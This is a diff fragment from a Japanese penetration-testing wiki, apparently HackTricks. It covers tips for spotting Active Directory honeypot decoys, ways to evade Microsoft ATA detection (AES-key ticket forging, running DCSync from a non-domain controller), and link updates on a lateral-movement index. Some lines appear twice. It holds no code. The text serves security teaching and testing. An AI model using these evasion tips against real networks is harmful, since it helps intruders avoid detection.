- **一般的な指標**:潜在的なデコイオブジェクトの属性を本物のものと比較することで、不一致を明らかにすることができます。[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)のようなツールは、そのような欺瞞を特定するのに役立ちます。
- **ユーザーオブジェクトの場合**疑わしい指標には、異常なObjectSID、まれなログオン、作成日、低い不正パスワードカウントが含まれます。
- **一般的な指標**:潜在的なデコイオブジェクトの属性を本物のものと比較することで、不一致を明らかにすることができます。ツールのような[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)は、そのような欺瞞を特定するのに役立ちます。
### **検出システムの回避**
- **Microsoft ATA検出回避**
- **ユーザー列挙**ドメインコントローラーでのセッション列挙を避けてATA検出を防ぎます。
- **チケットの偽装**:チケット作成に**aes**キーを用することで、NTLMにダウングレードせずに検出を回避します。
- **チケットの偽装**:チケット作成に**aes**キーを使用することで、NTLMにダウングレードせずに検出を回避します。
- **DCSync攻撃**ATA検出を避けるために非ドメインコントローラーから実行することが推奨されます。ドメインコントローラーから直接実行するとアラートがトリガーされます。
## 参考文献

View File

@ -1,8 +1,8 @@
# ラテラルムーブメント
# Lateral Movement
{{#include ../../banners/hacktricks-training.md}}
外部システムでコマンドを実行する方法はいくつかあります。ここでは、主なWindowsラテラルムーブメント技術の動作についての説明を見つけることができます:
外部システムでコマンドを実行する方法はいくつかあります。ここでは、主なWindowsのラテラルムーブメント技術がどのように機能するかの説明を見つけることができます:
- [**PsExec**](psexec-and-winexec.md)
- [**SmbExec**](smbexec.md)
@ -10,8 +10,8 @@
- [**AtExec / SchtasksExec**](atexec.md)
- [**WinRM**](winrm.md)
- [**DCOM Exec**](dcom-exec.md)
- [**Pass the cookie**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-cookie) (cloud)
- [**Pass the PRT**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/pass-the-prt) (cloud)
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-certificate) (cloud)
- [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud)
- [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud)
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud)
{{#include ../../banners/hacktricks-training.md}}